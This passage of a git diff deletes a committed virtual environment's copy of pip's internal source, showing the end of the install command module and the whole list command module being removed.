-        self.cmd_opts.add_option(cmdoptions.requirements_from_scripts())
-        self.cmd_opts.add_option(cmdoptions.no_deps())
-        self.cmd_opts.add_option(cmdoptions.only_deps())
-
-        self.cmd_opts.add_option(cmdoptions.editable())
-        self.cmd_opts.add_option(
-            "--dry-run",
-            action="store_true",
-            dest="dry_run",
-            default=False,
-            help=(
-                "Don't actually install anything, just print what would be. "
-                "Can be used in combination with --ignore-installed "
-                "to 'resolve' the requirements."
-            ),
-        )
-        self.cmd_opts.add_option(
-            "-t",
-            "--target",
-            dest="target_dir",
-            metavar="dir",
-            default=None,
-            help=(
-                "Install packages into . "
-                "By default this will not replace existing files/folders in "
-                ". Use --upgrade to replace existing packages in  "
-                "with new versions."
-            ),
-        )
-        cmdoptions.add_target_python_options(self.cmd_opts)
-
-        self.cmd_opts.add_option(
-            "--user",
-            dest="use_user_site",
-            action="store_true",
-            help=(
-                "Install to the Python user install directory for your "
-                "platform. Typically ~/.local/, or %APPDATA%\\Python on "
-                "Windows. (See the Python documentation for site.USER_BASE "
-                "for full details.)"
-            ),
-        )
-        self.cmd_opts.add_option(
-            "--no-user",
-            dest="use_user_site",
-            action="store_false",
-            help=SUPPRESS_HELP,
-        )
-        self.cmd_opts.add_option(
-            "--root",
-            dest="root_path",
-            metavar="dir",
-            default=None,
-            help="Install everything relative to this alternate root directory.",
-        )
-        self.cmd_opts.add_option(
-            "--prefix",
-            dest="prefix_path",
-            metavar="dir",
-            default=None,
-            help=(
-                "Installation prefix where lib, bin and other top-level "
-                "folders are placed. Note that the resulting installation may "
-                "contain scripts and other resources which reference the "
-                "Python interpreter of pip, and not that of ``--prefix``. "
-                "See also the ``--python`` option if the intention is to "
-                "install packages into another (possibly pip-free) "
-                "environment."
-            ),
-        )
-
-        self.cmd_opts.add_option(cmdoptions.src())
-
-        self.cmd_opts.add_option(
-            "-U",
-            "--upgrade",
-            dest="upgrade",
-            action="store_true",
-            help=(
-                "Upgrade all specified packages to the newest available "
-                "version. The handling of dependencies depends on the "
-                "upgrade-strategy used."
-            ),
-        )
-
-        self.cmd_opts.add_option(
-            "--upgrade-strategy",
-            dest="upgrade_strategy",
-            default="only-if-needed",
-            choices=["only-if-needed", "eager"],
-            help=(
-                "Determines how dependency upgrading should be handled "
-                "[default: %default]. "
-                '"eager" - dependencies are upgraded regardless of '
-                "whether the currently installed version satisfies the "
-                "requirements of the upgraded package(s). "
-                '"only-if-needed" -  are upgraded only when they do not '
-                "satisfy the requirements of the upgraded package(s)."
-            ),
-        )
-
-        self.cmd_opts.add_option(
-            "--force-reinstall",
-            dest="force_reinstall",
-            action="store_true",
-            help="Reinstall all packages even if they are already up-to-date.",
-        )
-
-        self.cmd_opts.add_option(
-            "-I",
-            "--ignore-installed",
-            dest="ignore_installed",
-            action="store_true",
-            help=(
-                "Ignore the installed packages, overwriting them. "
-                "This can break your system if the existing package "
-                "is of a different version or was installed "
-                "with a different package manager!"
-            ),
-        )
-
-        self.cmd_opts.add_option(cmdoptions.ignore_requires_python())
-        self.cmd_opts.add_option(cmdoptions.no_build_isolation())
-        self.cmd_opts.add_option(cmdoptions.use_pep517())
-        self.cmd_opts.add_option(cmdoptions.check_build_deps())
-        self.cmd_opts.add_option(cmdoptions.override_externally_managed())
-
-        self.cmd_opts.add_option(cmdoptions.config_settings())
-
-        self.cmd_opts.add_option(
-            "--compile",
-            action="store_true",
-            dest="compile",
-            default=True,
-            help="Compile Python source files to bytecode",
-        )
-
-        self.cmd_opts.add_option(
-            "--no-compile",
-            action="store_false",
-            dest="compile",
-            help="Do not compile Python source files to bytecode",
-        )
-
-        self.cmd_opts.add_option(
-            "--no-warn-script-location",
-            action="store_false",
-            dest="warn_script_location",
-            default=True,
-            help="Do not warn when installing scripts outside PATH",
-        )
-        self.cmd_opts.add_option(
-            "--no-warn-conflicts",
-            action="store_false",
-            dest="warn_about_conflicts",
-            default=True,
-            help="Do not warn about broken dependencies",
-        )
-        self.cmd_opts.add_option(cmdoptions.require_hashes())
-        self.cmd_opts.add_option(cmdoptions.no_require_hashes())
-        self.cmd_opts.add_option(cmdoptions.progress_bar())
-        self.cmd_opts.add_option(cmdoptions.root_user_action())
-
-        index_opts = cmdoptions.make_option_group(
-            cmdoptions.index_group,
-            self.parser,
-        )
-
-        selection_opts = cmdoptions.make_option_group(
-            cmdoptions.package_selection_group,
-            self.parser,
-        )
-
-        self.parser.insert_option_group(0, index_opts)
-        self.parser.insert_option_group(0, selection_opts)
-        self.parser.insert_option_group(0, self.cmd_opts)
-
-        self.cmd_opts.add_option(
-            "--report",
-            dest="json_report_file",
-            metavar="file",
-            default=None,
-            help=(
-                "Generate a JSON file describing what pip did to install "
-                "the provided requirements. "
-                "Can be used in combination with --dry-run and --ignore-installed "
-                "to 'resolve' the requirements. "
-                "When - is used as file name it writes to stdout. "
-                "When writing to stdout, please combine with the --quiet option "
-                "to avoid mixing pip logging output with JSON output."
-            ),
-        )
-
-    @contextlib.contextmanager
-    def pip_version_check(self, options: Values, args: list[str]) -> Iterator[None]:
-        # Skip the self-version check when pip itself is a requirement. The
-        # running pip may be replaced mid-command, and the upgrade prompt
-        # is redundant.
-        if any(_arg_refers_to_pip(arg) for arg in args):
-            yield
-            return
-        with super().pip_version_check(options, args):
-            yield
-
-    @with_cleanup
-    def run(self, options: Values, args: list[str]) -> int:
-        if options.use_user_site and options.target_dir is not None:
-            raise CommandError("Can not combine '--user' and '--target'")
-
-        # Check whether the environment we're installing into is externally
-        # managed, as specified in PEP 668. Specifying --root, --target, or
-        # --prefix disables the check, since there's no reliable way to locate
-        # the EXTERNALLY-MANAGED file for those cases. An exception is also
-        # made specifically for "--dry-run --report" for convenience.
-        installing_into_current_environment = (
-            not (options.dry_run and options.json_report_file)
-            and options.root_path is None
-            and options.target_dir is None
-            and options.prefix_path is None
-        )
-        if (
-            installing_into_current_environment
-            and not options.override_externally_managed
-        ):
-            check_externally_managed()
-
-        upgrade_strategy = "to-satisfy-only"
-        if options.upgrade:
-            upgrade_strategy = options.upgrade_strategy
-
-        cmdoptions.check_only_deps_option_does_not_conflict(options)
-        cmdoptions.check_build_constraints(options)
-        cmdoptions.check_dist_restriction(options, check_target=True)
-        cmdoptions.check_release_control_exclusive(options)
-
-        logger.verbose("Using %s", get_pip_version())
-        options.use_user_site = decide_user_install(
-            options.use_user_site,
-            prefix_path=options.prefix_path,
-            target_dir=options.target_dir,
-            root_path=options.root_path,
-            isolated_mode=options.isolated_mode,
-        )
-
-        target_temp_dir: TempDirectory | None = None
-        target_temp_dir_path: str | None = None
-        if options.target_dir:
-            options.ignore_installed = True
-            options.target_dir = os.path.abspath(options.target_dir)
-            if (
-                # fmt: off
-                os.path.exists(options.target_dir) and
-                not os.path.isdir(options.target_dir)
-                # fmt: on
-            ):
-                raise CommandError(
-                    "Target path exists but is not a directory, will not continue."
-                )
-
-            # Create a target directory for using with the target option
-            target_temp_dir = TempDirectory(kind="target")
-            target_temp_dir_path = target_temp_dir.path
-            self.enter_context(target_temp_dir)
-
-        session = self.get_default_session(options)
-
-        target_python = make_target_python(options)
-        finder = self._build_package_finder(
-            options=options,
-            session=session,
-            target_python=target_python,
-            ignore_requires_python=options.ignore_requires_python,
-        )
-        build_tracker = self.enter_context(get_build_tracker())
-
-        directory = TempDirectory(
-            delete=not options.no_clean,
-            kind="install",
-            globally_managed=True,
-        )
-
-        try:
-            reqs = self.get_requirements(args, options, finder, session)
-
-            wheel_cache = WheelCache(options.cache_dir)
-
-            preparer = self.make_requirement_preparer(
-                temp_build_dir=directory,
-                options=options,
-                build_tracker=build_tracker,
-                session=session,
-                finder=finder,
-                use_user_site=options.use_user_site,
-                verbosity=self.verbosity,
-                allow_editables=True,
-            )
-            resolver = self.make_resolver(
-                preparer=preparer,
-                finder=finder,
-                options=options,
-                wheel_cache=wheel_cache,
-                use_user_site=options.use_user_site,
-                ignore_installed=options.ignore_installed,
-                ignore_requires_python=options.ignore_requires_python,
-                force_reinstall=options.force_reinstall,
-                upgrade_strategy=upgrade_strategy,
-                py_version_info=options.python_version,
-            )
-
-            self.trace_basic_info(finder)
-
-            requirement_set = resolver.resolve(
-                reqs, check_supported_wheels=not options.target_dir
-            )
-
-            if options.json_report_file:
-                report = InstallationReport(requirement_set.requirements_to_install)
-                if options.json_report_file == "-":
-                    print_json(data=report.to_dict())
-                else:
-                    with open(options.json_report_file, "w", encoding="utf-8") as f:
-                        json.dump(report.to_dict(), f, indent=2, ensure_ascii=False)
-
-            if options.dry_run:
-                would_install_items = sorted(
-                    (r.metadata["name"], r.metadata["version"])
-                    for r in requirement_set.requirements_to_install
-                )
-                if would_install_items:
-                    write_output(
-                        "Would install %s",
-                        " ".join("-".join(item) for item in would_install_items),
-                    )
-                return SUCCESS
-
-            # If there is any more preparation to do for the actual installation, do
-            # so now. This includes actually downloading the files in the case that
-            # we have been using PEP-658 metadata so far.
-            preparer.prepare_linked_requirements_more(
-                requirement_set.requirements.values()
-            )
-
-            try:
-                pip_req = requirement_set.get_requirement("pip")
-            except KeyError:
-                modifying_pip = False
-            else:
-                # If we're not replacing an already installed pip,
-                # we're not modifying it.
-                modifying_pip = pip_req.satisfied_by is None
-            protect_pip_from_modification_on_windows(modifying_pip=modifying_pip)
-
-            reqs_to_build = [
-                r for r in requirement_set.requirements_to_install if not r.is_wheel
-            ]
-
-            _, build_failures = build(
-                reqs_to_build,
-                wheel_cache=wheel_cache,
-                verify=True,
-                allow_editables=True,
-            )
-
-            if build_failures:
-                raise InstallWheelBuildError(build_failures)
-
-            to_install = resolver.get_installation_order(requirement_set)
-
-            # Check for conflicts in the package set we're installing.
-            conflicts: ConflictDetails | None = None
-            should_warn_about_conflicts = (
-                not options.ignore_dependencies and options.warn_about_conflicts
-            )
-            if should_warn_about_conflicts:
-                conflicts = self._determine_conflicts(to_install)
-
-            # Don't warn about script install locations if
-            # --target or --prefix has been specified
-            warn_script_location = options.warn_script_location
-            if options.target_dir or options.prefix_path:
-                warn_script_location = False
-
-            # Warn on late imports so we don't silently pick up a module
-            # from a distribution pip is about to install.
-            try:
-                _eagerly_import_modules()
-            finally:
-                _prevent_further_imports()
-
-            installed = install_given_reqs(
-                to_install,
-                root=options.root_path,
-                home=target_temp_dir_path,
-                prefix=options.prefix_path,
-                warn_script_location=warn_script_location,
-                use_user_site=options.use_user_site,
-                pycompile=options.compile,
-                progress_bar=options.progress_bar,
-            )
-
-            lib_locations = get_lib_location_guesses(
-                user=options.use_user_site,
-                home=target_temp_dir_path,
-                root=options.root_path,
-                prefix=options.prefix_path,
-                isolated=options.isolated_mode,
-            )
-            env = get_environment(lib_locations)
-
-            if conflicts is not None:
-                self._warn_about_conflicts(
-                    conflicts,
-                    resolver_variant=self.determine_resolver_variant(options),
-                )
-            if summary := installed_packages_summary(installed, env):
-                write_output(summary)
-        except OSError as error:
-            show_traceback = self.verbosity >= 1
-
-            message = create_os_error_message(
-                error,
-                show_traceback,
-                options.use_user_site,
-            )
-            logger.error(message, exc_info=show_traceback)
-
-            return ERROR
-
-        if options.target_dir:
-            assert target_temp_dir
-            self._handle_target_dir(
-                options.target_dir, target_temp_dir, options.upgrade
-            )
-        if options.root_user_action == "warn":
-            warn_if_run_as_root()
-        return SUCCESS
-
-    def _handle_target_dir(
-        self, target_dir: str, target_temp_dir: TempDirectory, upgrade: bool
-    ) -> None:
-        ensure_dir(target_dir)
-
-        # Checking both purelib and platlib directories for installed
-        # packages to be moved to target directory
-        lib_dir_list = []
-
-        # Checking both purelib and platlib directories for installed
-        # packages to be moved to target directory
-        scheme = get_scheme("", home=target_temp_dir.path)
-        purelib_dir = scheme.purelib
-        platlib_dir = scheme.platlib
-        data_dir = scheme.data
-
-        if os.path.exists(purelib_dir):
-            lib_dir_list.append(purelib_dir)
-        if os.path.exists(platlib_dir) and platlib_dir != purelib_dir:
-            lib_dir_list.append(platlib_dir)
-        if os.path.exists(data_dir):
-            lib_dir_list.append(data_dir)
-
-        for lib_dir in lib_dir_list:
-            for item in os.listdir(lib_dir):
-                if lib_dir == data_dir:
-                    ddir = os.path.join(data_dir, item)
-                    if any(s.startswith(ddir) for s in lib_dir_list[:-1]):
-                        continue
-                target_item_dir = os.path.join(target_dir, item)
-                if os.path.exists(target_item_dir):
-                    if not upgrade:
-                        logger.warning(
-                            "Target directory %s already exists. Specify "
-                            "--upgrade to force replacement.",
-                            target_item_dir,
-                        )
-                        continue
-                    if os.path.islink(target_item_dir):
-                        logger.warning(
-                            "Target directory %s already exists and is "
-                            "a link. pip will not automatically replace "
-                            "links, please remove if replacement is "
-                            "desired.",
-                            target_item_dir,
-                        )
-                        continue
-                    if os.path.isdir(target_item_dir):
-                        shutil.rmtree(target_item_dir)
-                    else:
-                        os.remove(target_item_dir)
-
-                shutil.move(os.path.join(lib_dir, item), target_item_dir)
-
-    def _determine_conflicts(
-        self, to_install: list[InstallRequirement]
-    ) -> ConflictDetails | None:
-        try:
-            return check_install_conflicts(to_install)
-        except Exception:
-            logger.exception(
-                "Error while checking for conflicts. Please file an issue on "
-                "pip's issue tracker: https://github.com/pypa/pip/issues/new"
-            )
-            return None
-
-    def _warn_about_conflicts(
-        self, conflict_details: ConflictDetails, resolver_variant: str
-    ) -> None:
-        package_set, (missing, conflicting) = conflict_details
-        if not missing and not conflicting:
-            return
-
-        parts: list[str] = []
-        if resolver_variant == "legacy":
-            parts.append(
-                "pip's legacy dependency resolver does not consider dependency "
-                "conflicts when selecting packages. This behaviour is the "
-                "source of the following dependency conflicts."
-            )
-        else:
-            assert resolver_variant == "resolvelib"
-            parts.append(
-                "pip's dependency resolver does not currently take into account "
-                "all the packages that are installed. This behaviour is the "
-                "source of the following dependency conflicts."
-            )
-
-        # NOTE: There is some duplication here, with commands/check.py
-        for project_name in missing:
-            version = package_set[project_name][0]
-            for dependency in missing[project_name]:
-                message = (
-                    f"{project_name} {version} requires {dependency[1]}, "
-                    "which is not installed."
-                )
-                parts.append(message)
-
-        for project_name in conflicting:
-            version = package_set[project_name][0]
-            for dep_name, dep_version, req in conflicting[project_name]:
-                message = (
-                    "{name} {version} requires {requirement}, but {you} have "
-                    "{dep_name} {dep_version} which is incompatible."
-                ).format(
-                    name=project_name,
-                    version=version,
-                    requirement=req,
-                    dep_name=dep_name,
-                    dep_version=dep_version,
-                    you=("you" if resolver_variant == "resolvelib" else "you'll"),
-                )
-                parts.append(message)
-
-        logger.critical("\n".join(parts))
-
-
-def installed_packages_summary(
-    installed: list[InstallationResult], env: BaseEnvironment
-) -> str:
-    # Format a summary of installed packages, with extra care to
-    # display a package name as it was requested by the user.
-    installed.sort(key=operator.attrgetter("name"))
-    summary = []
-    installed_versions = {}
-    for distribution in env.iter_all_distributions():
-        installed_versions[distribution.canonical_name] = distribution.version
-    for package in installed:
-        display_name = package.name
-        version = installed_versions.get(canonicalize_name(display_name), None)
-        if version:
-            text = f"{display_name}-{version}"
-        else:
-            text = display_name
-        summary.append(text)
-
-    if not summary:
-        return ""
-    return f"Successfully installed {' '.join(summary)}"
-
-
-def get_lib_location_guesses(
-    user: bool = False,
-    home: str | None = None,
-    root: str | None = None,
-    isolated: bool = False,
-    prefix: str | None = None,
-) -> list[str]:
-    scheme = get_scheme(
-        "",
-        user=user,
-        home=home,
-        root=root,
-        isolated=isolated,
-        prefix=prefix,
-    )
-    return [scheme.purelib, scheme.platlib]
-
-
-def site_packages_writable(root: str | None, isolated: bool) -> bool:
-    return all(
-        test_writable_dir(d)
-        for d in set(get_lib_location_guesses(root=root, isolated=isolated))
-    )
-
-
-def decide_user_install(
-    use_user_site: bool | None,
-    prefix_path: str | None = None,
-    target_dir: str | None = None,
-    root_path: str | None = None,
-    isolated_mode: bool = False,
-) -> bool:
-    """Determine whether to do a user install based on the input options.
-
-    If use_user_site is False, no additional checks are done.
-    If use_user_site is True, it is checked for compatibility with other
-    options.
-    If use_user_site is None, the default behaviour depends on the environment,
-    which is provided by the other arguments.
-    """
-    # In some cases (config from tox), use_user_site can be set to an integer
-    # rather than a bool, which 'use_user_site is False' wouldn't catch.
-    if (use_user_site is not None) and (not use_user_site):
-        logger.debug("Non-user install by explicit request")
-        return False
-
-    # If we have been asked for a user install explicitly, check compatibility.
-    if use_user_site:
-        if prefix_path:
-            raise CommandError(
-                "Can not combine '--user' and '--prefix' as they imply "
-                "different installation locations"
-            )
-        if virtualenv_no_global():
-            raise InstallationError(
-                "Can not perform a '--user' install. User site-packages "
-                "are not visible in this virtualenv."
-            )
-        # Catch all remaining cases which honour the site.ENABLE_USER_SITE
-        # value, such as a plain Python installation (e.g. no virtualenv).
-        if not site.ENABLE_USER_SITE:
-            raise InstallationError(
-                "Can not perform a '--user' install. User site-packages "
-                "are disabled for this Python."
-            )
-        logger.debug("User install by explicit request")
-        return True
-
-    # If we are here, user installs have not been explicitly requested/avoided
-    assert use_user_site is None
-
-    # user install incompatible with --prefix/--target
-    if prefix_path or target_dir:
-        logger.debug("Non-user install due to --prefix or --target option")
-        return False
-
-    # If user installs are not enabled, choose a non-user install
-    if not site.ENABLE_USER_SITE:
-        logger.debug("Non-user install because user site-packages disabled")
-        return False
-
-    # If we have permission for a non-user install, do that,
-    # otherwise do a user install.
-    if site_packages_writable(root=root_path, isolated=isolated_mode):
-        logger.debug("Non-user install because site-packages writeable")
-        return False
-
-    logger.info(
-        "Defaulting to user installation because normal site-packages "
-        "is not writeable"
-    )
-    return True
-
-
-def create_os_error_message(
-    error: OSError, show_traceback: bool, using_user_site: bool
-) -> str:
-    """Format an error message for an OSError
-
-    It may occur anytime during the execution of the install command.
-    """
-    parts = []
-
-    # Mention the error if we are not going to show a traceback
-    parts.append("Could not install packages due to an OSError")
-    if not show_traceback:
-        parts.append(": ")
-        parts.append(str(error))
-    else:
-        parts.append(".")
-
-    # Spilt the error indication from a helper message (if any)
-    parts[-1] += "\n"
-
-    # Suggest useful actions to the user:
-    #  (1) using user site-packages or (2) verifying the permissions
-    if error.errno == errno.EACCES:
-        user_option_part = "Consider using the `--user` option"
-        permissions_part = "Check the permissions"
-
-        if not running_under_virtualenv() and not using_user_site:
-            parts.extend(
-                [
-                    user_option_part,
-                    " or ",
-                    permissions_part.lower(),
-                ]
-            )
-        else:
-            parts.append(permissions_part)
-        parts.append(".\n")
-
-    # Suggest to check "pip config debug" in case of invalid proxy
-    if type(error) is InvalidProxyURL:
-        parts.append(
-            'Consider checking your local proxy configuration with "pip config debug"'
-        )
-        parts.append(".\n")
-
-    # On Windows, errors like EINVAL or ENOENT may occur
-    # if a file or folder name exceeds 255 characters,
-    # or if the full path exceeds 260 characters and long path support isn't enabled.
-    # This condition checks for such cases and adds a hint to the error output.
-
-    if WINDOWS and error.errno in (errno.EINVAL, errno.ENOENT) and error.filename:
-        if any(len(part) > 255 for part in Path(error.filename).parts):
-            parts.append(
-                "HINT: This error might be caused by a file or folder name exceeding "
-                "255 characters, which is a Windows limitation even if long paths "
-                "are enabled.\n "
-            )
-        if len(error.filename) > 260:
-            parts.append(
-                "HINT: This error might have occurred since "
-                "this system does not have Windows Long Path "
-                "support enabled. You can find information on "
-                "how to enable this at "
-                "https://pip.pypa.io/warnings/enable-long-paths\n"
-            )
-    return "".join(parts).strip() + "\n"
diff --git a/venv/Lib/site-packages/pip/_internal/commands/list.py b/venv/Lib/site-packages/pip/_internal/commands/list.py
deleted file mode 100644
index 3d82d07781ea79d5f633206a8e1e402faf9b226f..0000000000000000000000000000000000000000
--- a/venv/Lib/site-packages/pip/_internal/commands/list.py
+++ /dev/null
@@ -1,408 +0,0 @@
-from __future__ import annotations
-
-import contextlib
-import json
-import logging
-from collections.abc import Generator, Iterator, Sequence
-from email.parser import Parser
-from optparse import Values
-from typing import TYPE_CHECKING, cast
-
-from pip._vendor.packaging.utils import canonicalize_name
-from pip._vendor.packaging.version import InvalidVersion, Version
-
-from pip._internal.cli import cmdoptions
-from pip._internal.cli.index_command import IndexGroupCommand
-from pip._internal.cli.status_codes import SUCCESS
-from pip._internal.exceptions import CommandError
-from pip._internal.metadata import BaseDistribution, get_environment
-from pip._internal.metadata.base import stdlib_pkgs
-from pip._internal.models.selection_prefs import SelectionPreferences
-from pip._internal.utils.misc import tabulate, write_output
-
-if TYPE_CHECKING:
-    from pip._internal.index.package_finder import PackageFinder
-    from pip._internal.network.session import PipSession
-
-    class _DistWithLatestInfo(BaseDistribution):
-        """Give the distribution object a couple of extra fields.
-
-        These will be populated during ``get_outdated()``. This is dirty but
-        makes the rest of the code much cleaner.
-        """
-
-        latest_version: Version
-        latest_filetype: str
-
-    _ProcessedDists = Sequence[_DistWithLatestInfo]
-
-
-logger = logging.getLogger(__name__)
-
-
-class ListCommand(IndexGroupCommand):
-    """
-    List installed packages, including editables.
-
-    Packages are listed in a case-insensitive sorted order.
-    """
-
-    ignore_require_venv = True
-    usage = """
-      %prog [options]"""
-
-    def add_options(self) -> None:
-        self.cmd_opts.add_option(
-            "-o",
-            "--outdated",
-            action="store_true",
-            default=False,
-            help="List outdated packages",
-        )
-        self.cmd_opts.add_option(
-            "-u",
-            "--uptodate",
-            action="store_true",
-            default=False,
-            help="List uptodate packages",
-        )
-        self.cmd_opts.add_option(
-            "-e",
-            "--editable",
-            action="store_true",
-            default=False,
-            help="List editable projects.",
-        )
-        self.cmd_opts.add_option(
-            "-l",
-            "--local",
-            action="store_true",
-            default=False,
-            help=(
-                "If in a virtualenv that has global access, do not list "
-                "globally-installed packages."
-            ),
-        )
-        self.cmd_opts.add_option(
-            "--user",
-            dest="user",
-            action="store_true",
-            default=False,
-            help="Only output packages installed in user-site.",
-        )
-        self.cmd_opts.add_option(cmdoptions.list_path())
-
-        self.cmd_opts.add_option(
-            "--format",
-            action="store",
-            dest="list_format",
-            default="columns",
-            choices=("columns", "freeze", "json"),
-            help=(
-                "Select the output format among: columns (default), freeze, or json. "
-                "The 'freeze' format cannot be used with the --outdated option."
-            ),
-        )
-
-        self.cmd_opts.add_option(
-            "--not-required",
-            action="store_true",
-            dest="not_required",
-            help="List packages that are not dependencies of installed packages.",
-        )
-
-        self.cmd_opts.add_option(
-            "--exclude-editable",
-            action="store_false",
-            dest="include_editable",
-            help="Exclude editable package from output.",
-        )
-        self.cmd_opts.add_option(
-            "--include-editable",
-            action="store_true",
-            dest="include_editable",
-            help="Include editable package in output.",
-            default=True,
-        )
-        self.cmd_opts.add_option(cmdoptions.list_exclude())
-        index_opts = cmdoptions.make_option_group(cmdoptions.index_group, self.parser)
-
-        selection_opts = cmdoptions.make_option_group(
-            cmdoptions.package_selection_group,
-            self.parser,
-        )
-
-        self.parser.insert_option_group(0, index_opts)
-        self.parser.insert_option_group(0, selection_opts)
-        self.parser.insert_option_group(0, self.cmd_opts)
-
-    @contextlib.contextmanager
-    def pip_version_check(self, options: Values, args: list[str]) -> Iterator[None]:
-        if not (options.outdated or options.uptodate):
-            yield
-            return
-        with super().pip_version_check(options, args):
-            yield
-
-    def _build_package_finder(
-        self, options: Values, session: PipSession
-    ) -> PackageFinder:
-        """
-        Create a package finder appropriate to this list command.
-        """
-        # Lazy import the heavy index modules as most list invocations won't need 'em.
-        from pip._internal.index.collector import LinkCollector
-        from pip._internal.index.package_finder import PackageFinder
-
-        link_collector = LinkCollector.create(session, options=options)
-
-        # Pass allow_yanked=False to ignore yanked versions.
-        selection_prefs = SelectionPreferences(
-            allow_yanked=False,
-            release_control=options.release_control,
-            format_control=options.format_control,
-            prefer_binary=options.prefer_binary,
-        )
-
-        return PackageFinder.create(
-            link_collector=link_collector,
-            selection_prefs=selection_prefs,
-            uploaded_prior_to=options.uploaded_prior_to,
-        )
-
-    def run(self, options: Values, args: list[str]) -> int:
-        cmdoptions.check_release_control_exclusive(options)
-
-        if options.outdated and options.uptodate:
-            raise CommandError("Options --outdated and --uptodate cannot be combined.")
-
-        if options.outdated and options.list_format == "freeze":
-            raise CommandError(
-                "List format 'freeze' cannot be used with the --outdated option."
-            )
-
-        cmdoptions.check_list_path_option(options)
-
-        packages: _ProcessedDists = [
-            cast("_DistWithLatestInfo", d)
-            for d in get_environment(options.path).iter_installed_distributions(
-                local_only=options.local,
-                user_only=options.user,
-                editables_only=options.editable,
-                include_editables=options.include_editable,
-                skip=set(stdlib_pkgs),
-            )
-        ]
-
-        # get_not_required must be called firstly in order to find and
-        # filter out all dependencies correctly. Otherwise a package
-        # can't be identified as requirement because some parent packages
-        # could be filtered out before.
-        if options.not_required:
-            packages = self.get_not_required(packages, options)
-
-        if options.excludes:
-            excluded_names = {canonicalize_name(n) for n in options.excludes}
-            packages = [
-                dist for dist in packages if dist.canonical_name not in excluded_names
-            ]
-
-        if options.outdated:
-            packages = self.get_outdated(packages, options)
-        elif options.uptodate:
-            packages = self.get_uptodate(packages, options)
-
-        self.output_package_listing(packages, options)
-        return SUCCESS
-
-    def get_outdated(
-        self, packages: _ProcessedDists, options: Values
-    ) -> _ProcessedDists:
-        return [
-            dist
-            for dist in self.iter_packages_latest_infos(packages, options)
-            if dist.latest_version > dist.version
-        ]
-
-    def get_uptodate(
-        self, packages: _ProcessedDists, options: Values
-    ) -> _ProcessedDists:
-        return [
-            dist
-            for dist in self.iter_packages_latest_infos(packages, options)
-            if dist.latest_version == dist.version
-        ]
-
-    def get_not_required(
-        self, packages: _ProcessedDists, options: Values
-    ) -> _ProcessedDists:
-        dep_keys = {
-            canonicalize_name(dep.name)
-            for dist in packages
-            for dep in (dist.iter_dependencies() or ())
-        }
-
-        # Create a set to remove duplicate packages, and cast it to a list
-        # to keep the return type consistent with get_outdated and
-        # get_uptodate
-        return list({pkg for pkg in packages if pkg.canonical_name not in dep_keys})
-
-    def iter_packages_latest_infos(
-        self, packages: _ProcessedDists, options: Values
-    ) -> Generator[_DistWithLatestInfo, None, None]:
-        with self._build_session(options) as session:
-            finder = self._build_package_finder(options, session)
-
-            def latest_info(
-                dist: _DistWithLatestInfo,
-            ) -> _DistWithLatestInfo | None:
-                all_candidates = finder.find_all_candidates(dist.canonical_name)
-                if self.should_exclude_prerelease(options, dist.canonical_name):
-                    all_candidates = [
-                        candidate
-                        for candidate in all_candidates
-                        if not candidate.version.is_prerelease
-                    ]
-
-                evaluator = finder.make_candidate_evaluator(
-                    project_name=dist.canonical_name,
-                )
-                best_candidate = evaluator.sort_best_candidate(all_candidates)
-                if best_candidate is None:
-                    return None
-
-                remote_version = best_candidate.version
-                if best_candidate.link.is_wheel:
-                    typ = "wheel"
-                else:
-                    typ = "sdist"
-                dist.latest_version = remote_version
-                dist.latest_filetype = typ
-                return dist
-
-            for dist in map(latest_info, packages):
-                if dist is not None:
-                    yield dist
-
-    def output_package_listing(
-        self, packages: _ProcessedDists, options: Values
-    ) -> None:
-        packages = sorted(
-            packages,
-            key=lambda dist: dist.canonical_name,
-        )
-        if options.list_format == "columns" and packages:
-            data, header = format_for_columns(packages, options)
-            self.output_package_listing_columns(data, header)
-        elif options.list_format == "freeze":
-            for dist in packages:
-                try:
-                    req_string = f"{dist.raw_name}=={dist.version}"
-                except InvalidVersion:
-                    req_string = f"{dist.raw_name}==={dist.raw_version}"
-                if options.verbose >= 1:
-                    write_output("%s (%s)", req_string, dist.location)
-                else:
-                    write_output(req_string)
-        elif options.list_format == "json":
-            write_output(format_for_json(packages, options))
-
-    def output_package_listing_columns(
-        self, data: list[list[str]], header: list[str]
-    ) -> None:
-        # insert the header first: we need to know the size of column names
-        if len(data) > 0:
-            data.insert(0, header)
-
-        pkg_strings, sizes = tabulate(data)
-
-        # Create and add a separator.
-        if len(data) > 0:
-            pkg_strings.insert(1, " ".join("-" * x for x in sizes))
-
-        for val in pkg_strings:
-            write_output(val)
-
-
-def format_for_columns(
-    pkgs: _ProcessedDists, options: Values
-) -> tuple[list[list[str]], list[str]]:
-    """
-    Convert the package data into something usable
-    by output_package_listing_columns.
-    """
-    header = ["Package", "Version"]
-
-    running_outdated = options.outdated
-    if running_outdated:
-        header.extend(["Latest", "Type"])
-
-    def wheel_build_tag(dist: BaseDistribution) -> str | None:
-        try:
-            wheel_file = dist.read_text("WHEEL")
-        except FileNotFoundError:
-            return None
-        return Parser().parsestr(wheel_file).get("Build")
-
-    build_tags = [wheel_build_tag(p) for p in pkgs]
-    has_build_tags = any(build_tags)
-    if has_build_tags:
-        header.append("Build")
-
-    has_editables = any(x.editable for x in pkgs)
-    if has_editables:
-        header.append("Editable project location")
-
-    if options.verbose >= 1:
-        header.append("Location")
-    if options.verbose >= 1:
-        header.append("Installer")
-
-    data = []
-    for i, proj in enumerate(pkgs):
-        # if we're working on the 'outdated' list, separate out the
-        # latest_version and type
-        row = [proj.raw_name, proj.raw_version]
-
-        if running_outdated:
-            row.append(str(proj.latest_version))
-            row.append(proj.latest_filetype)
-
-        if has_build_tags:
-            row.append(build_tags[i] or "")
-
-        if has_editables:
-            row.append(proj.editable_project_location or "")
-
-        if options.verbose >= 1:
-            row.append(proj.location or "")
-        if options.verbose >= 1:
-            row.append(proj.installer)
-
-        data.append(row)
-
-    return data, header
-
-
-def format_for_json(packages: _ProcessedDists, options: Values) -> str:
-    data = []
-    for dist in packages:
-        try:
-            version = str(dist.version)
-        except InvalidVersion:
-            version = dist.raw_version
-        info = {
-            "name": dist.raw_name,
-            "version": version,
-        }
-        if options.verbose >= 1:
-            info["location"] = dist.location or ""
-            info["installer"] = dist.installer
-        if options.outdated:
-            info["latest_version"] = str(dist.latest_version)
-            info["latest_filetype"] = dist.latest_filetype
-        editable_project_location = dist.editable_project_location
-        if editable_project_location:
-            info["editable_project_location"] = editable_project_location
-        data.append(info)
-    return json.dumps(data)
diff --git a/venv/Lib/site-packages/pip/_internal/commands/lock.py b/venv/Lib/site-packages/pip/_internal/commands/lock.py
deleted file mode 100644
